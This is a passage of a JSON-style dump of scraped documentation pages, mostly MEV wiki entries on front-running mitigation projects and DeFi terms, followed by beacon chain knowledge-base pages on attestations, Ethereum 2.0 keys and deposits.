"body": "MEV Minimization MEV minimization and prevention solutions. Here are various solutions in MEV minimization: Conveyor (Automata Network) SecretSwap (Secret Network) Fair sequencing service (Chainlink) Arbitrum (Offchain Labs) Vega protocol CowSwap Veedo (StarkWare) LibSubmarine Sikka Shutter Network Previous BackBone Cabal Next Conveyor (Automata Network) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Other solutions", - "html_url": "https://www.mev.wiki/solutions/others", - "body": "Other solutions Other ways to tackle MEV. Here are the list of other solutions: B.Protocol Previous Shutter Network Next B.Protocol Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Arbitrage", - "html_url": "https://www.mev.wiki/terms-and-concepts/arbitrage", - "body": "Arbitrage What is arbitrage trading? Arbitrage is the simultaneous purchase and sale of the same asset in different markets in order to profit from differences in the asset's listed price. Previous Automated Market Maker Next Lending Platforms Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Automated Market Maker", - "html_url": "https://www.mev.wiki/terms-and-concepts/automated-market-maker", - "body": "Automated Market Maker What is an AMM? A type of Decentralised Exchange. Contrary to traditional limit order-book-based exchanges (which maintain a list of bids and asks for an asset pair), AMM exchanges maintain a pool of capital (a liquidity pool) with at least two assets. A smart contract governs the rules by which traders can purchase and sell assets from the liquidity pool. The most common AMM mechanism is a constant product AMM, where the product of an asset X and asset Y in a pool have to abide by a constant K. Examples of AMM Exchanges include Uniswap , Sushiswap , Balancer . Previous DeFi Next Arbitrage Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "DeFi", - "html_url": "https://www.mev.wiki/terms-and-concepts/defi", - "body": "DeFi What is DeFi? DeFi is a subset of finance-focused decentralized protocols that operate autonomously on blockchain-based smart contracts. The total value locked in DeFi amounts to >$50B USD . Link: https://defipulse.com/ Previous Terms and Concepts Next Automated Market Maker Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Lending Platforms", - "html_url": "https://www.mev.wiki/terms-and-concepts/lending-platforms", - "body": "Lending Platforms What is a decentralised lending platform? Debt is an essential tool in DeFi. As DeFi applications typically operate without Know Your Customer (KYC), the borrowers debt must be over-collateralized. Hence, a borrower must collateralize (lock) 150% of the value that the borrower wishes to lend out. The collateral acts as a security to the lender if the borrower doesnt pay back the debt. Examples of lending platforms include Aave and Compound . Previous Arbitrage Next Slippage Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Liquidations", - "html_url": "https://www.mev.wiki/terms-and-concepts/liquidations", - "body": "Liquidations What are liquidations in collaterized debt? In Lending Platforms, if the collateral value decreases and the collateralization ratio falls below 150%, the collateral can be freed up for liquidation. Liquidators can then purchase the collateral at a discount to repay the debt. Previous Slippage Next Priority Gas Auctions Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Priority Gas Auctions", - "html_url": "https://www.mev.wiki/terms-and-concepts/priority-gas-auctions", - "body": "Priority Gas Auctions What is a priority gas auction? As pure arbitrage opportunities offer unconditional revenue, bots often compete against each other by bidding up transaction fees (gas) in PGAs which drives up fees for other users. Previous Liquidations Next Transaction Ordering Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Slippage", - "html_url": "https://www.mev.wiki/terms-and-concepts/slippage", - "body": "Slippage What is price slippage? Slippage is defined as the move in the price of a security between the time you decided to transact in it and the time your order was in the market. When performing a trade on an AMM, the expected execution price may differ from the real execution price because the expected price depends on a past blockchain state, which may change between the transaction creation and its execution e.g., due to front-running transactions. Previous Lending Platforms Next Liquidations Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Transaction Ordering", - "html_url": "https://www.mev.wiki/terms-and-concepts/transaction-ordering", - "body": "Transaction Ordering What is transaction ordering? Blockchains typically prescribe specific rules for consensus, but there are only loose requirements for miners on how to order transactions within a block. Many attacks are centered around how miners order transactions within blocks. Previous Priority Gas Auctions Next Attack Examples Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "EDEN Network (ArcherSwap)", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/archerswap", - "body": "EDEN Network (ArcherSwap) Eden Network (Previously ArcherSwap) Eden Network is a new DEX extension for Uniswap and Sushiswap that prevents frontrunning and offers traders zero slippage and zero cost cancellation swaps. This enables users to set slippage tolerance to 0%. Miners will only be paid if \"acceptance criteria\" are met, so any transaction that fails is not included on chain. One is for searchers to submit Flashbots-compatible bundles. The other is the Archer Relay Network (powers Archerswap) where users can submit private transactions and be protected from malicious MEV. Link: https://swap.archerdao.io/#/swap Previous KeeperDAO Next Optimism Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "BackBone Cabal", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backbone-cabal", - "body": "BackBone Cabal BackBone Cabal BackBone Cabal is a strategy that aims to extract MEV from SushiSwap. Profits are redistributed back to users who submitted trades in the first place in the form of eliminating their transaction cost (up to 90%). YCabal creates a virtualized mempool (i.e. a MEV-relay network) that aggregates transactions (batching). Users are able to opt in and send transactions to YCabal and in return for not having to pay for gas for their transaction, YCabal batch processes it and takes the arbitrage profit. Risk by inventory price risk is carried by a Vault, where Vault depositers are returned the profit the YCabal realizes. Links: Website: https://backbonecabal.com/ Knowledge Base: https://backbone-kb.netlify.app/ SushiSwap Proposal: https://forum.sushiswapclassic.org/t/proposal-ycabal-mev-strategy/3159 Previous MiningDAO Next MEV Minimization Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "BackRunMe by bloXroute", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backrunme-by-bloxroute", - "body": "BackRunMe by bloXroute BackRunMe by bloXroute BackRunMe is a service that allows users to submit private transactions (e.g. protection against frontrunning and sandwich attacks) while allowing searchers to backrun the transaction via MEV IF it produces an arbitrage profit. If it doesn't generate an arbitrage profit it is processed as a regular private transaction. BackRunMe, gives a portion of this additional profit back to the user. How BackRunMe works. The profit sharing ratio is as follows: 50% to miners, 25% to users, 20%to searchers and 5% to bloXroute. Users can use MetaMask directly on BackRunMe to trade on Uniswap or Sushiswap. Links: https://backrunme.com/#/swap https://medium.com/bloxroute/there-is-light-in-the-dark-forest-2d7b77f4ca2d Previous Private Transactions Next Flashbots Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Flashbots", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/flashbots", - "body": "Flashbots Flashbots Flashbots is a research and development organization formed to mitigate the negative externalities and existential risks posed by MEV. They aim to Democratize MEV Extraction through MEV-Geth, which enables a sealed-bid block space auction mechanism for communicating transaction order preference. ELI5 Link: https://twitter.com/_silto_/status/1381292907567722498 Flashbots created an ETH node for miners, that not only watches the mempool like any other node, but also connects to a relayer (a server) operated by Flashbots. This MEV-Relay is a kind of parallel channel that directly connects miners to bots that want their transactions included. The transactions that the bots want to include are sent through the MEV-Relay as bundles containing: the transactions to execute a tip to the miner, coming as an ETH transfer These transactions use a 0 gwei gas price, as the payment to the miner is included in the transaction itself as the tip. Since these transactions are sent through a parallel private relay, it reduces the mempool bidding war, failed transactions bloating the blockchain, and overall gas cost for users. Links: GitHub: https://github.com/flashbots Research: https://github.com/flashbots/mev-research Monthly Meetings: https://github.com/flashbots/pm API: https://blocks.flashbots.net/ Discord: https://discord.gg/7hvTycdNcK Medium: https://medium.com/flashbots https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752 https://medium.com/flashbots/quantifying-mev-introducing-mev-explore-v0-5ccbee0f6d02 https://ethresear.ch/t/flashbots-frontrunning-the-mev-crisis/8251 Previous BackRunMe by bloXroute Next mistX by alchemist Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "KeeperDAO", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/keeperdao", - "body": "KeeperDAO KeeperDAO KeeperDAO is similar to a mining pool for Keepers. By incentivizing a game theory optimal strategy for cooperation among on-chain arbitrageurs, KeeperDAO provides an efficient mechanism for large scale arbitrage and liquidation trades on all DeFi protocols. The Hiding Game One of the 3 games that has been built. The Hiding Game refers to the cooperation between users and keepers to hide MEV by wrapping trades/debt in specialised on-chain contracts. These contracts restrict profit extracting opportunities to KeeperDAO itself. Here's the ELI5 Users route their trades and loans through KeeperDAO, which attempts to extract any arbitrage or liquidation profit available. Those profits are returned back to the user in $ROOK tokens, and profits go into a pool controlled by $ROOK holders. By giving KeeperDAO priority access to arbitrage and liquidations, the Hiding Game maximizes the profits available from these opportunities. kCompound (Phase 2 of the Hiding Game) kCompound is the second phase of the Hiding Game. KeeperDAO posts collateral to save your position from being publicly liquidated. Instead, you get privately liquidated. KeeperDAO keeper will then find the best price for your collateral, targeting a 5% profit margin. This profit will then be split between you, the keeper, and the KeeperDAO treasury, meaning that kCompound borrowers will receive a portion of the profits from their own liquidation. Links: Website: https://keeperdao.com/#/ Wiki: https://github.com/keeperdao/docs/wiki kCompound: https://medium.com/keeperdao/introducing-kcompound-a23511c847a0 Previous mistX by alchemist Next EDEN Network (ArcherSwap) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "MiningDAO", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/miningdao", - "body": "MiningDAO MiningDAO MiningDAO is building a decentralized and transparent protocol for block formation that aims to pass 100% of MEV to miners. Anyone with an Ethereum address can propose the next block to be mined (via a block sealhash), and attach a bounty for successfully mining it. The mining pools would then mine on the highest-bounty proposal. One is for searchers to submit Flashbots-compatible bundles. The other is the Archer Relay Network (powers Archerswap) where users can submit private transactions and be protected from malicious MEV. Links: Website: https://miningdao.io Medium: https://medium.com/mining-dao/introducing-miningdao-1e469626f7ad Previous Optimism Next BackBone Cabal Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "mistX by alchemist", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/mistx-by-alchemist", - "body": "mistX by alchemist MistX by alchemist mistX is a DEX that enables end users to send transactions through Flashbots bundles. All transactions are gasless. However, instead of paying gas to the miners mistX users pay miners a bribe/tip in ETH. The tip is either included in the trade or comes from the user's wallet. The exchange utilises Flashbots and as such transactions processed via mistX do not publish user transaction information to a public mempool, but instead bundle transactions together. This hides the information from front-runners and thus prevents transactions from being manipulated, front-run, or sandwiched. Link: https://app.mistx.io/#/exchange Previous Flashbots Next KeeperDAO Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Optimism", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/optimism", - "body": "Optimism Optimism Optimism are the original proposers of MEVA. MEV Auction (MEVA) is created in which the winner of the auction has the right to reorder submitted transactions and insert their own, as long as they do not delay any specific transaction by more than N blocks. MEVA on Ethereum Implementing the Auction The auction is able to extract MEV from miners by separating two functions 1) Transaction inclusion; and 2) transaction ordering. In order to implement MEVA roles are defined. Block producers determine transaction inclusion, and Sequencers determine transaction ordering. Block producers - Transaction Inclusion Block proposers are most analogous to traditional blockchain miners. Instead of proposing blocks with an ordering, they simply propose a set of transactions to eventually be included before N blocks. Sequencers - Transaction Ordering Sequencers are elected by a smart contract managed auction run by the block producers called the MEVA contract. This auction assigns the right to sequence the last N transactions. If, within a timeout the sequencer has not submitted an ordering which is included by block proposers, a new sequencer is elected. Implementation on Layer 2 It is possible to enshrine this MEVA contract directly on layer 1 (L1) blockchain consensus protocols. However, it is also possible to non-invasively add this mechanism in layer 2 (L2) and use it to manage Optimistic Rollup transactio ordering. In L2, L1 miners are repurposed and utilized as block proposers. MEVA contract is implemented and designated a single sequencer at a time. Links: https://optimism.io/ https://ethresear.ch/t/mev-auction-auctioning-transaction-ordering-rights-as-a-solution-to-miner-extractable-value/6788 https://docs.google.com/presentation/d/1RaF1byflrLF3yUjd-5vXDZB1ZIRofVeK3JYVD6NPr30/edit#slide=id.gc9bdacc472_0_96 Previous EDEN Network (ArcherSwap) Next MiningDAO Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Private Transactions", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva/private-transactions", - "body": "Private Transactions Private Transactions Typically, transactions are broadcast to the mempool where they remain pending until miners pick them and add to the block. Private transactions however, are only visible to the pool and are not broadcast to other nodes (pay more for faster transactions). Examples include 1inch Exchange's Stealth Transactions , Taichi Network and BloXroute . Taichi Network allows users to send private transactions directly to Sparkpool, bypassing the public mempool. Private Transactions offered by Taichi Network bloXroute Labs has a wide range of offerings and their core competency is low global latency for DeFi (8% of blocks mined within 1 sec). For the other side of the coin, here is bloXroute Labs' take on why private mempools are not necessarily bad : 1. Front-runners don't need these services to outpace regular users, who are slower by seconds. They need it to outpace one another, where improving speed 0.8->0.15 sec matters. 2. When a transaction is privately sent to pools other frontrunners can't attempt to front-run it. This helps avoid fierce escalation of fees. Link: https://docs.bloxroute.com/apis/frontrunning-protection Previous Front-running as a Service (FaaS) or MEV Auctions (MEVA) Next BackRunMe by bloXroute Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Arbitrum (Offchain Labs)", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/arbitrum-offchain-labs", - "body": "Arbitrum (Offchain Labs) Arbitrum by Offchain Labs Arbitrum is against MEVA and FaaS. 3 Modes of Arbitrum: 1. Single Sequencer: L2 MEV-Potential ( Mainnet Beta ) For Arbitrums initial, flagship Mainnet beta release, the Sequencer will be controlled by a single entity. This entity has transaction ordering rights within the narrow / 15 minute window; users are trusting the Sequencer not to frontrun them. 2. Distributed Sequencer With Fair Ordering: L2-MEV-minimized ( Mainnet Final Form ) The Arbitrum flagship chain will eventually have a distributed set of independent parties controlling the Sequencer. They will collectively propose state updates via the first BFT algorithm that enforces fair ordering within consensus (Aequitas) . Here, L2 MEV is only possible if >1/3 of the sequencing-parties maliciously collude, hence MEV-minimized. 3. No Sequencer: No L2 MEV A chain can be created in which no permissioned entities have Sequencing rights. Ordering is determined entirely by the Inbox contract; lose the ability to get lower latency than L1, but gain is that no party involved in L2, including Arbitrum validators, has any say in transaction ordering, and thus no L2 MEV enters the picture. Links: Website: https://offchainlabs.com/ Medium: https://medium.com/offchainlabs/front-running-as-a-service-334c929c945 Document: https://docs.google.com/document/d/1VOACGgTR84XWm5lH5Bki2nBcImi3lVRe2tYxf5F6XbA/edit Previous Fair sequencing service (Chainlink) Next Vega protocol Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Conveyor (Automata Network)", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/conveyor-automata-network", - "body": "Conveyor (Automata Network) Conveyor - The Automata Network approach to tackling MEV At Automata, we have created Conveyor , a service that ingests and outputs transactions in a determined order. This creates a front-running-free zone that removes the chaos of transaction reordering. When transactions are fed into Conveyor, it determines the order of the incoming transactions and makes it impossible for block producers to perform the following: 1. Inject new transactions into the Conveyor output: The inserted transactions bypassing Conveyor is detectable by anyone because of signature mismatch. 2. Delete ordered transactions: Transactions accepted by Conveyor are broadcasted everywhere so transactions cannot be deleted unless ALL block producers are colluding and censoring the transactions at the same time. From the DEXs perspective, they can choose to accept either 1. Ordered transactions from Automatas Conveyor which is free from transaction reordering and other front-running transactions 2. Other unordered transactions (which include front-running etc) that may negatively impact their users Why should users trust Conveyor? Automatas Conveyor runs on a decentralized compute plane backed by many Geode instances. Each Geode instance can be attested so anyone can publicly verify that the Geode is running on a system with genuine hardware (i.e., CPU) and that the Geode application code matches the version that is open-sourced and audited. This provides a strong guarantee that: The Geode code is untampered with The Geode data is inaccessible to even Geode providers (In which case they cannot act on said data to front-run transactions) Importantly, Automatas Conveyor is a chain-agnostic solution to the MEV issue, and works seamlessly on various platforms zero modifications needed. An industry-first: Oblivious RAM In fully public computation, access pattern leakage is not negligible as everything is exposed. But in privacy-preserving computation, any tiny bit of information leakage becomes a significant issue. Studies have shown that access pattern leakage leads to exposure of sensitive information such as private keys from searchable encryption and trusted computing. This is where the Oblivious RAM algorithm comes into play. Automatas implementation is the first-of-its-kind in the blockchain industry, providing an exceedingly high degree of privacy in dApps. This greatly reduces the probability of user privacy being leaked even as access patterns are being monitored and analyzed by malicious actors. The Automata team has authored multiple research papers on state-of-the-art ORAM and hardware technologies to enhance the privacy and performance of existing networks. Robust P2P Primitives Using SGX Enclaves RAID 2020 PRO-ORAM: Practical Read-Only Oblivious RAM RAID 2019 OblivP2P: An Oblivious Peer-to-Peer Content Sharing System USENIX Security 2016 Preventing Page Faults from Telling Your Secrets Asia CCS 2016 Official Links Website: https://ata.network/ Whitepaper: https://xata.to/lightpaper GitHub: https://xata.to/github Documentation: https://docs.ata.network/ Ambassador program form: https://xata.to/ambassadors FAQ: https://xata.to/faq Official Socials Telegram Annoucement Channel: https://t.me/ata_announcement Telegram Chat Group: https://xata.to/telegram Twitter: https://xata.to/twitter Discord: https://xata.to/discord Medium: https://xata.to/medium Community Links Korea (Telegram): https://t.me/atanetworkkorea Spain (Telegram): https://t.me/atanetworkspanish Sri Lanka (Telegram): https://t.me/atanetworksinhala Russian (Telegram): https://t.me/atanetworkrussia Malay-Indonesian (Telegram): https://t.me/atanetworkmalaysia Other useful links MEV Checkup Tool: https://mev.tax/ Coinmarketcap article: https://xata.to/vxa Binance research report: https://xata.to/br Binance launchpool annoucement: https://xata.to/186e34 Previous MEV Minimization Next SecretSwap (Secret Network) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "CowSwap", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/cowswap", - "body": "CowSwap CowSwap A collaboration between BalancerLabs and Gnosis, CowSwap is a DEX that leverages batch auctions to provide MEV protection, plus integrate with liquidity sources across DEXs to offer traders the best prices. When two traders each hold an asset the other wants, an order can be settled directly between them without an external market maker or liquidity provider. Any excess is settled in the same transaction with the best available AMM. The transaction is sent by professional solvers which set tight slippage bounds. Solvers compete with each other to achieve best prices for the user. Links: Website: https://cowswap.exchange/#/swap Blog: https://blog.gnosis.pm/introducing-gnosis-protocol-v2-and-balancer-gnosis-protocol-f693b2938ae4 Previous Vega protocol Next Veedo (StarkWare) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Fair sequencing service (Chainlink)", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/fair-sequencing-service-chainlink", - "body": "Fair sequencing service (Chainlink) The Fair Sequencing Service by ChainLink The idea behind FSS is to have an oracle network order the transactions sent to a particular contract SC, including both user transactions and oracle reports. Oracle nodes ingest transactions and then reach consensus on their ordering, rather than allowing a single leader to dictate it. FSS is a framework for implementing ordering policies, of which Aequitas (protocol for order-fairness in addition to consistency and liveness) is one example. It can alternatively support simpler approaches, such as straightforward encryption of transactions, which can then be decrypted in a threshold manner by oracle nodes after ordering. It will also support various policies for inserting oracle reports into a stream of transactions. (It can even support MEV auctions, if desired.) Links: Blog post: https://blog.chain.link/chainlink-fair-sequencing-services-enabling-a-provably-fair-defi-ecosystem/ Whitepaper (to be released later) Previous SecretSwap (Secret Network) Next Arbitrum (Offchain Labs) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LibSubmarine", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/libsubmarine", - "body": "LibSubmarine LibSubmarine LibSubmarine is an open-source smart contract library that protects your contract against front-runners by temporarily hiding transactions on-chain. Links: Website: https://libsubmarine.org/ Video: https://www.youtube.com/watch?v=N8PDKoptmPs&feature=emb_imp_woyt&ab_channel=IC3InitiativeforCryptocurrenciesandContracts GitHub: https://github.com/lorenzb/libsubmarine Previous Veedo (StarkWare) Next Sikka Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "SecretSwap (Secret Network)", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/secretswap-secret-network", - "body": "SecretSwap (Secret Network) Secret Swap Secret Swap is an automated market maker (AMM) liquidity protocol. There is no orderbook, no centralized party, and no central facilitator of trade. Using Secret Contracts, the mempool of potential Secret Swap transactions are kept entirely encrypted - protecting users from MEV, front-running attacks and providing an increased level of privacy compared to traditional AMMs. The protocol uses swap secret contract based tokens (SNIP-20s) on Secret Network. Given the encrypted nature of SNIP-20s secret contracts, inputs to a transaction/contract are encrypted while they are on the mempool and cannot be front-run by any adversary. Users will have to pay for gas and 0.3% swap fees with the $SCRT token to use Secret Swap. Links: Website: https://www.secretswap.io Analytics: http://secretanalytics.xyz Documentation: https://docs.secretswap.io/secretswap Previous Conveyor (Automata Network) Next Fair sequencing service (Chainlink) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Shutter Network", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/shutter-network", - "body": "Shutter Network Shutter Network Shutter Network is an open-source project that aims to prevent frontrunning and malicious MEV on Ethereum by using a threshold cryptography-based distributed key generation (DKG) protocol. A Shutter transaction is a transaction protected from frontrunning in the target smart contract system. It therefore passes through a sequence of stages before it is executed. A Shutter transaction flow: 1. Created and encrypted in the user's wallet; 2. Sent to the batcher contract as a standard Ethereum transaction; 3. Picked up and decrypted by the keypers; 4. Sent to the executor contract, and 5. Forwarded to the target contract. Links: Website: https://shutter.ghost.io/ GitHub: https://github.com/brainbot-com/shutter Previous Sikka Next Other solutions Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Sikka", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/sikka", - "body": "Sikka Sikka Sikka's MEV solution to censorship and frontrunning problems is using a technique called Threshold Decryption, as a plugin to the Tendermint Core BFT consensus engine to create mempool level privacy. With this plugin, users are able to submit encrypted transactions to the blockchain, which are only decrypted and executed after being committed to a block by a quorum of 2/3 validators. Links: Website: https://sikka.tech/ Presentation: https://docs.google.com/presentation/d/1tQEUpZjy_U9J-VQAx1Wf5W9oOX5rrCY3AwjAb7ZgA68/edit#slide=id.p Previous LibSubmarine Next Shutter Network Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Veedo (StarkWare)", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/veedo-starkware", - "body": "Veedo (StarkWare) Veedo by StarkWare VeeDo is StarkWares STARK-based Verifiable Delay Function (VDF), and its PoC is now live on Mainnet. VeeDo's time-locks allow information to be sealed for a predetermined period of time (during the sequencing phase), and then made public. 2 approaches using privacy to minimize MEV 1. Time-locks as part of the protocol layer 2. Time-locks on Ethereum with smart contracts - supported today Links: Website: https://starkware.co/ Medium: https://medium.com/starkware/presenting-veedo-e4bbff77c7ae Presentation: https://docs.google.com/presentation/d/1C_Rb_rtUXT2Nkettu_GPSlD9yCge8ioBNLRj5OBNbyY/edit#slide=id.gb576f94980_0_836 Previous CowSwap Next LibSubmarine Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Vega protocol", - "html_url": "https://www.mev.wiki/solutions/mev-minimization/vega-protocol", - "body": "Vega protocol Vega Protocol Traditionally, fairness in a blockchain has been defined in absolute terms, i.e. once a transaction is seen by a sufficient number of validators, it will be executed in some block, soon. Vega's proposal is to add a module to blockchains that supports the concept of relative fairness so that competing transactions may be sequenced under a known and understood protocol, and not subject to a validators discretion. \" If there is a time t such that all honest validators saw a before t and b after t, then a must be scheduled before b. This is a property that can be assured of at any time with a minimal impact on performance. To get the best combination, their current approach is a hybrid of the two. In normal operation, the protocol will assure block fairness. If the network detects that this causes a bottleneck, it temporarily switches to the timed approach (thus sacrificing a little fairness for performance), before switching back once the bottleneck is resolved. However, Vega will ultimately make the level of fairness customisable by market. Links: Website: https://vega.xyz/ Blog: https://blog.vega.xyz/new-paper-fairness-and-front-running-an-invitation-for-feedback-cbb39a1a3eb Wendy, the Good Little Fairness Widget: https://vega.xyz/papers/fairness.pdf Video: https://www.youtube.com/watch?v=KjfLj5fhkGQ&t=18s&ab_channel=VegaProtocol Previous Arbitrum (Offchain Labs) Next CowSwap Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "B.Protocol", - "html_url": "https://www.mev.wiki/solutions/others/b.protocol", - "body": "B.Protocol B.Protocol B.Protocol aims to shift MEV to users. Users interact with existing lending platforms via B.Protocol smart contract. Liquidity providers (LP) provide a cushion to user debt, which gives B.Protocol precedence over other liquidators. LPs share their profits with the users, where user reward is proportional to his user rating. Links: Website: https://www.bprotocol.org/ Presentation: https://docs.google.com/presentation/d/13UNysGCX9ZJG20lKaxr_qbhgKwcuHACdwlhGNKtzGt4/edit Previous Other solutions Next Miscellaneous Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Overview", - "html_url": "https://kb.beaconcha.in/", - "body": "Overview Next Glossary Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Attestation", - "html_url": "https://kb.beaconcha.in/attestation", - "body": "Attestation An overview of attestations Attestation Every Epoch (~6.4 minutes) a validator proposes an attestation (vote) to the network. This vote consists of the following segments: Committee Validator Index Finality vote Signature Chain head vote (vote on what the validator believes is the head of the chain) A minimum of 16,384 validators is required to start Ethereum 2.0. If we multiply that with the information included in each Attestation per Epoch, it adds up quickly. Therefore, Ethereum 2.0 aggregates all of that information and minimises the data growth. Aggregated Attestation An aggregation is a collection, or the gathering of things together. Your baseball card collection might represent the aggregation of lots of different types of cards. So what does that mean for Attestations? Each block one or more committees are chosen to attest. A committee has a minimum of 128 validators, of which 16 are randomly selected to become an aggregator. As shown below, the validators broadcast their unaggregated attestation to the aggregators (red arrow). The aggregators then merge the attestations and forward a single aggregated attestation to the block proposer . Attestation Inclusion Lifecycle 1. Generation 2. Propagation 3. Aggregation 4. Propagation 5. Inclusion Rewards The attestation reward is dependent on two variables, the base reward and the inclusion delay. The best case for the inclusion delay is to be 1. Source: ConsenSys Codefi Analysis Base reward ( Validator effective balance * 2**6 ) / SQRT( Effective balance of all active validators ) Inclusion delay At the time when the validators voted on the head of the chain (Block 0), Block 1 was not proposed yet. Therefore attestations naturally get included one block later; so all attestations who voted on Block 0 being the chain head got included in Block 1 and, the inclusion delay is 1. The effects of the inclusion delay on the attestation reward As shown below, an Inclusion delay of 2 causes the the reward to drop by 50%. Source: Consensys A ttestation scenarios Missing Voting Validator These validators have a maximum of 1 epoch to submit their attestation. If the attestation was missed in epoch 0, they can submit it with an inclusion delay in epoch 1. Missing Aggregator There are 16 Aggregators per epoch in total, additionally, random validators from the beacon-chain subscribe to two subnets for 256 Epochs and serve as a backup in case aggregators are missing. Missing block proposer Note that in some cases a lucky aggregator may also become the block proposer. If the attestation was not included because the block proposer has gone missing, the next block proposer would pick the aggregated attestation up and include it into the next block. However, the inclusion delay will increase by one. Credits Attestation effectiveness - AttestantIO Attestation Inclusion - Adrian Sutton (Consensys) Previous Deposit Process Next Rewards and Penalties Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Ethereum 2.0 Keys", - "html_url": "https://kb.beaconcha.in/ethereum-2-keys", - "body": "Ethereum 2.0 Keys Extended overview of Ethereum 2.0 Keys Ethereum 2.0 Key overview General Both of these keys (ETH 1.0 and ETH 2.0) are based on the same idea and use elliptic-curve cryptography to create keys. However, Ethereum 2.0 has additional functionality, and its keys require different parameters when creating them, and use the B oneh- L ynn- S hacham (= BLS ) signature scheme. Ethereum 2 Keys Compared to Ethereum 1.0, where users only have a single private key to access their funds, Ethereum 2.0 offers two different keys. The validator private key and the withdrawal private key. The validator key As seen in the cutout below the validator signing key consists of two elements: Validator private key Validator public key The purpose of the validator private key is to actively sign on-chain (ETH2) operations such as block proposals and attestations. Therefore these keys have to be held in a hot wallet. This flexibility has the advantage to move validator signing keys very quickly from one device to another, however, if they have gotten lost or stolen, the thief has the ability to act maliciously in two ways: Get the validator slashed by: Being a proposer and sign two different beacon blocks for the same slot Being an attester and sign an attestation that \"surrounds\" another one. Being an attester and sign two different attestations having the same target. Force a voluntary exit , which stops the validator from \"staking\", and grants access to its ETH balance to the withdrawal key owner. The validator public key is included in the deposit data which allows ETH2 to identify the validator. The withdrawal key The withdrawal key is required to move the validator balance once it is possible in Phase1/2 . Just like the validator keys, the withdrawal keys also consist of two components: Withdrawal private key Withdrawal public key Losing this key means losing access to the validator balance. However, the validator can still sign attestations and blocks since these actions require the validator private key, but there is little to no incentive to do so if the keys are lost. To withdraw, the validator status needs to be \" exited \". Multiple validators from a single wallet Each validator has their own unique deposit data by which they are identified by the beaconchain . Four keys for one validator . Q: How can I re-deposit to my validator balance? (e.g. Effective balance has dropped) A: Send another transaction (>=1ETH) to the deposit contract with the validator specific deposit data as the transaction input. After the first deposit-transaction, the unique deposit data is stored on the blockchain and can be found on various explorers. Note: The deposit contract requires about 150,000 gas limit. Mnemonics for ETH2.0 validators Over the last few years, we have become so accustomed to the 12 or 24 word-system . Why do we take steps back again and make our lives more complicated and more insecure with locally stored keys? Known hardware wallets will not be able to support ETH2.0 key generation until the BLS library gets audited. EIP-2333 and EIP-2334 offer a solution but yet need to be implemented. With all this knowledge, we can assume that the known Mnemonics will not be accessible from day one of Phase 0. How does it work? Mnemonics and paths are a known feature and usually found when users try to access their hardware wallets. \"Old ETH 1.0\" path structure and example: m/44'/60'/0'/0 m / purpose' / coin_type' / account' / change / address_index The same logic applies to ETH2.0 Keys, just with different parameters. There is a single \"master key\" (=Mnemonic phrase) which allows the user to attach as many validators to a single withdrawal key as they want. This way the user can derive all keys from the Mnemonic phrase. A simplified overview would look like the following: Source: Carl Beekhuizen Credits: Nishant Das for fact-checking Previous Port Forwarding Next The Genesis Event Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Deposit Process", - "html_url": "https://kb.beaconcha.in/ethereum-2.0-depositing", - "body": "Deposit Process This post will explain the depositing process and each of the phases. Before we start, to understand the basic idea of how Ethereum 2.0 keys work, the Ethereum 2.0 Keys blog is highly recommended. The deposit contract Let's go through each of the states above and explain how their durations are approximately determined. 1. Mempool - Status: Unknown Every signed transaction visits the 